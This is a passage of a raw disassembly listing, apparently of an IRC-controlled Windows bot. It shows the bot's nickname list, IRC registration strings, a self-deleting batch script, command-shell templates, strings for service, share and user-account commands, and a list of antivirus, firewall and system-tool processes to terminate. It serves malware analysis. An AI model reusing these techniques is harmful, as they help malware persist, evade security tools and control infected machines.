'RERPJJ',0 ; DATA XREF: ___:00438A48o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:00438A44o align 10h aCool30m db 'cool30m',0 ; DATA XREF: ___:00438A40o aTropikal db 'tropikal',0 ; DATA XREF: ___:00438A3Co align 4 aPassenger db 'passenger',0 ; DATA XREF: ___:00438A38o align 10h aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00438A34o align 4 aUla db 'ula',0 ; DATA XREF: ___:00438A30o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00438A2Co aAkden db 'akden',0 ; DATA XREF: ___:00438A28o align 10h aKoray db 'KORAY',0 ; DATA XREF: ___:00438A24o align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00438A20o align 10h aFirtina db 'firtina',0 ; DATA XREF: ___:00438A1Co aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438A18o aM41ist db 'M41IST',0 ; DATA XREF: ___:00438A14o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438A10o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: ___:00438A0Co align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00438A08o align 4 aErkan db 'erkan',0 ; DATA XREF: ___:00438A04o align 4 aDevre db 'devre',0 ; DATA XREF: ___:00438A00o align 4 aYabanc db 'yabanc',0 ; DATA XREF: ___:004389FCo align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:004389F8o align 4 aA44m db 'a44m',0 ; DATA XREF: ___:004389F4o align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:004389F0o align 4 off_438E98 dd offset byte_4B5245 ; DATA XREF: ___:004389ECo aSevda db 'sevda',0 ; DATA XREF: ___:004389E8o align 4 aKotan db 'kotan',0 ; DATA XREF: ___:004389E4o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:004389E0o align 4 aAchilles db 'Achilles',0 ; DATA XREF: ___:004389DCo align 10h aKapk db 'kapk',0 ; DATA XREF: ___:004389D8o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:004389D4o align 4 aHayran db 'hayran',0 ; DATA XREF: ___:004389D0o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:004389CCo align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:004389C8o align 10h aDjspace db 'DJSPACE',0 ; DATA XREF: ___:004389C4o aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:004389C0o align 4 aUmut db 'umut-',0 ; DATA XREF: ___:004389BCo align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:004389B8o align 4 aKumul db 'kumul',0 ; DATA XREF: ___:004389B4o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:004389B0o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:004389ACo align 10h aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:004389A8o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:004389A4o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:004389A0o align 10h aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:0043899Co align 10h aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00438998o aHoly db 'holy',0 ; DATA XREF: ___:00438994o align 10h aFlord db 'FLoRD',0 ; DATA XREF: ___:00438990o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:0043898Co aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00438988o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00438984o align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00438980o align 10h aRamtha db 'RAMTHA',0 ; DATA XREF: ___:0043897Co align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00438978o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: ___:00438974o align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00438970o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:0043896Co aArda db 'arda',0 ; DATA XREF: ___:00438968o align 4 aDevran db 'devran',0 ; DATA XREF: ___:00438964o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00438960o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:0043895Co align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00438958o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00438954o align 10h aBogac db 'bogac',0 ; DATA XREF: ___:00438950o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:0043894Co align 4 aAnkh db 'ankh',0 ; DATA XREF: ___:00438948o align 4 off_43902C dd offset byte_457441 ; DATA XREF: ___:00438944o dword_439030 dd 414C5941h, 2Dh ; DATA XREF: ___:00438940o aAlbina db 'albina',0 ; DATA XREF: ___:0043893Co align 10h aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00438938o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:00438934o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: ___:00438930o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:0043892Co align 4 aAhmet db 'ahmet',0 ; DATA XREF: ___:00438928o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:00438924o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00438920o align 4 aRetg db 'RETG',0 ; DATA XREF: ___:0043891Co align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438918o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00438914o aAslii db 'aslii',0 ; DATA XREF: ___:00438910o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:0043890Co aHaticem db 'haticem',0 ; DATA XREF: ___:00438908o aArzu db 'ARZU',0 ; DATA XREF: ___:00438904o align 10h aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438900o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:004388FCo align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: ___:004388F8o align 10h aTekir db 'tekir',0 ; DATA XREF: ___:004388F4o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:004388F0o align 4 aTrend3 db 'trend3',0 ; DATA XREF: ___:004388ECo align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:004388E8o align 4 aAkin db 'AKIN',0 ; DATA XREF: ___:004388E4o align 4 aMary_0 db 'MARY',0 ; DATA XREF: ___:004388E0o align 4 aJericho db 'JERICHO',0 ; DATA XREF: ___:004388DCo aTolga34 db 'Tolga34',0 ; DATA XREF: ___:004388D8o aMisssunday db 'misssunday',0 ; DATA XREF: ___:004388D4o align 10h aIrmal db 'irmal',0 ; DATA XREF: ___:004388D0o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:004388CCo align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:004388C8o align 10h aHexaaa db 'hexaaa',0 ; DATA XREF: ___:004388C4o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:004388C0o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:004388BCo align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:004388B8o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:004388B4o align 4 aKencing db 'Kencing',0 ; DATA XREF: ___:004388B0o aReshma db 'reshma',0 ; DATA XREF: ___:004388ACo align 4 aCamel db 'CAMEL',0 ; DATA XREF: ___:004388A8o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:004388A4o align 4 aImra db 'imra',0 ; DATA XREF: ___:004388A0o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:0043889Co align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00438898o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:00438894o align 4 aManee db 'manee',0 ; DATA XREF: ___:00438890o align 4 aTroller db 'troller',0 ; DATA XREF: ___:0043888Co aLuisa db 'Luisa',0 ; DATA XREF: ___:00438888o align 4 aNastysha db 'nastysha',0 ; DATA XREF: ___:00438884o align 10h aRimpy db 'rimpy',0 ; DATA XREF: ___:00438880o align 4 aJanno db 'janno',0 ; DATA XREF: ___:0043887Co align 10h aBunty db 'bunty',0 ; DATA XREF: ___:00438878o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00438874o align 10h aCme db 'cme',0 ; DATA XREF: ___:00438870o aMarcy db 'marcy',0 ; DATA XREF: ___:0043886Co align 4 aTalika db 'talika',0 ; DATA XREF: ___:00438868o align 4 aShez db 'Shez',0 ; DATA XREF: ___:00438864o align 4 aKen db 'ken',0 ; DATA XREF: ___:00438860o aFlexster db 'flexster',0 ; DATA XREF: ___:0043885Co align 4 aKoko db 'koko',0 ; DATA XREF: ___:00438858o align 4 aMale db 'male',0 ; DATA XREF: ___:00438854o align 4 aSwin db 'swin',0 ; DATA XREF: ___:00438850o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: ___:0043884Co aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00438848o align 4 aEmilya db 'emilya',0 ; DATA XREF: ___:00438844o align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00438840o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:0043883Co aFarooq db 'farooq',0 ; DATA XREF: ___:00438838o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00438834o align 4 aM_0: ; DATA XREF: ___:00438830o ; ___:00438B7Co unicode 0, <M>,0 word_439298 dw 4Eh ; DATA XREF: sub_41A3C6+38r ; ___:0043882Co align 4 dword_43929C dd 42h ; DATA XREF: ___:00438828o dword_4392A0 dd 56h ; DATA XREF: ___:00438824o dword_4392A4 dd 43h ; DATA XREF: ___:00438820o dword_4392A8 dd 58h ; DATA XREF: ___:0043881Co ; ___:00438BB0o dword_4392AC dd 5Ah ; DATA XREF: ___:00438818o dword_4392B0 dd 4Ch ; DATA XREF: ___:00438814o dword_4392B4 dd 4Bh ; DATA XREF: ___:00438810o dword_4392B8 dd 4Ah ; DATA XREF: ___:0043880Co dword_4392BC dd 48h ; DATA XREF: ___:00438808o dword_4392C0 dd 47h ; DATA XREF: ___:00438804o dword_4392C4 dd 46h ; DATA XREF: ___:00438800o ; ___:00438B78o dword_4392C8 dd 44h ; DATA XREF: ___:004387FCo dword_4392CC dd 53h ; DATA XREF: ___:004387F8o dword_4392D0 dd 50h ; DATA XREF: ___:004387F0o dword_4392D4 dd 4Fh ; DATA XREF: ___:004387ECo dword_4392D8 dd 55h ; DATA XREF: ___:004387E4o word_4392DC dw 59h ; DATA XREF: sub_41A6EA+38r ; ___:004387E0o align 10h dword_4392E0 dd 54h ; DATA XREF: ___:004387DCo dword_4392E4 dd 52h ; DATA XREF: ___:004387D8o dword_4392E8 dd 45h ; DATA XREF: ___:004387D4o dword_4392EC dd 57h ; DATA XREF: ___:004387D0o dword_4392F0 dd 51h ; DATA XREF: ___:004387CCo dword_4392F4 dd 62h ; DATA XREF: ___:004387C0o ; ___:00438B8Co dword_4392F8 dd 78h ; DATA XREF: ___:00438B0Co dword_4392FC dd 7Ah ; DATA XREF: ___:00438B14o ; ___:00438B44o dword_439300 dd 6Ch, 68h ; DATA XREF: ___:004387ACo ; ___:00438AE0o dword_439308 dd 67h, 66h, 64h ; DATA XREF: ___:00438B48o dword_439314 dd 79h ; DATA XREF: ___:00438B10o dword_439318 dd 77h ; DATA XREF: ___:00438B08o dword_43931C dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417B76+B1o dword_439328 dd 323334h ; DATA XREF: sub_417B76+79o dword_43932C dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417B76+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C61+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417E84+BCo ; sub_417E84+175r ... align 4 dword_439374 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4393C0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4182CD+E3o ; --------------------------------------------------------------------------- loc_4393DC: ; DATA XREF: sub_4182CD+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_4393F0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_4182CD+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4187E0+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884:loc_418886o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4188A6+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4188A6+48o align 4 unk_4394A4 db 2Dh ; - ; DATA XREF: sub_418A2E+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_4394D4 db 2Dh ; - ; DATA XREF: sub_418A2E+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_4394FC dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_418A2E+5Co dd 65726165h, 64h off_439518 dd offset aAdd ; DATA XREF: sub_418C0E+60r ; sub_418FE5+51r ... ; "Add" off_43951C dd offset aAdded ; DATA XREF: sub_418C0E+2Dr ; sub_418FE5+83r ... ; "Added" dword_439520 dd 0 ; DATA XREF: sub_418C0E+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 43958Ch, 439584h, 2, 439578h, 43956Ch, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0043954Co aStop_0 db 'Stop',0 ; DATA XREF: ___:00439548o align 4 aStarted db 'Started',0 ; DATA XREF: ___:00439540o aStart_0 db 'Start',0 ; DATA XREF: ___:0043953Co align 4 aListed db 'Listed',0 ; DATA XREF: ___:00439534o align 4 aList_1 db 'List',0 ; DATA XREF: ___:00439530o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:00439528o aDelete_0 db 'Delete',0 ; DATA XREF: ___:00439524o align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_43951Co align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_439518o unk_4395E0 db 2Dh ; - ; DATA XREF: sub_418C0E+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_439604 db 2Dh ; - ; DATA XREF: sub_418C0E+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_439630 db 2Dh ; - ; DATA XREF: sub_418C0E+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_418D2A:loc_418E34o db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_418D2A:loc_418E2Do align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_418D2A:loc_418E26o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_418D2A:loc_418E1Fo align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_418D2A:loc_418E11o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_418D2A:loc_418E0Ao db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_418D2A:loc_418E03o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_418D2A:loc_418DD8o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_418D2A:loc_418DD1o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_418D2A:loc_418DCAo db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_418D2A:loc_418DC3o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_418D2A:loc_418D98o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_418D2A:loc_418D8Eo aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_418D2A:loc_418D84o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_418D2A:loc_418D70o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418EA8+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_418EA8:loc_418F74o aStarting db ' Starting',0 ; DATA XREF: sub_418EA8:loc_418F6Do aStoping db ' Stoping',0 ; DATA XREF: sub_418EA8:loc_418F66o aRunning db ' Running',0 ; DATA XREF: sub_418EA8:loc_418F5Fo aContinuing db ' Continuing',0 ; DATA XREF: sub_418EA8:loc_418F58o aPausing db ' Pausing',0 ; DATA XREF: sub_418EA8:loc_418F51o aPaused_0 db ' Paused',0 ; DATA XREF: sub_418EA8:loc_418F4Ao aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418EA8+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_418EA8+25o align 4 unk_439B84 db 2Dh ; - ; DATA XREF: sub_418FE5+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 dword_439BA8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418FE5+8Ao dd 73252720h, 27h unk_439BC4 db 2Dh ; - ; DATA XREF: sub_418FE5+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_4191DB+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_4191DB+B5o unk_439C10 db 2Dh ; - ; DATA XREF: sub_4191DB+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_4191DB+26o align 10h unk_439C70 db 2Dh ; - ; DATA XREF: sub_4192FC+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 unk_439C98 db 2Dh ; - ; DATA XREF: sub_4192FC+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_439CC8 db 2Dh ; - ; DATA XREF: sub_4192FC+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_439CE8 db 2Dh ; - ; DATA XREF: sub_419443+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419443+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419443+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419443+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419443+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_419443:loc_419562o align 4 aUser_0 db 'User',0 ; DATA XREF: sub_419443:loc_41955Bo align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_419443:loc_419554o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419443+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419443+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_419443+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo align 4 unk_439EA4 db 2Dh ; - ; DATA XREF: sub_41982C+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_41982C+BEo align 4 unk_439ED8 db 2Dh ; - ; DATA XREF: sub_41982C+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_4199AC:loc_419A90o db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_4199AC+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_4199AC:loc_419A57o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_4199AC:loc_419A49o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4199AC:loc_419A0Fo align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_4199AC:loc_4199FBo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo align 10h dword_43A1E0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419AE0+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_43A20C db 2Dh ; - ; DATA XREF: sub_419AE0+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_43A238 dd offset aRegedit_exe ; DATA XREF: sub_419C09+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_43A340 dd offset dword_43A334 dd offset dword_43A328 dd offset dword_43A31C dd offset dword_43A310 dd offset dword_43A304 dd offset dword_43A2F4 dd offset dword_43A2E8 dd offset dword_43A2DC dd offset dword_43A2D0 dd offset dword_43A2C4 dd offset dword_43A2B4 dd offset dword_43A2A8 dd offset dword_43A298 dword_43A298 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_419C09+ECo ; ___:0043A294o dword_43A2A8 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A290o dword_43A2B4 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:0043A28Co dword_43A2C4 dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:0043A288o dword_43A2D0 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A284o dword_43A2DC dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A280o dword_43A2E8 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A27Co dword_43A2F4 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:0043A278o dword_43A304 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:0043A274o dword_43A310 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:0043A270o dword_43A31C dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:0043A26Co dword_43A328 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:0043A268o dword_43A334 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:0043A264o dword_43A340 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:0043A260o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A25Co align 10h aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A258o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:0043A254o align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:0043A250o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:0043A24Co align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:0043A248o align 10h aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:0043A244o aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:0043A240o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:0043A23Co align 4 aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_43A238o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419C09+191o align 10h unk_43A3F0 db 2Dh ; - ; DATA XREF: sub_419E38:loc_419EBFo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43A414 db 2Dh ; - ; DATA XREF: sub_419E38+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_43A438 db 2Dh ; - ; DATA XREF: sub_419E38+19o db 3, 34h, 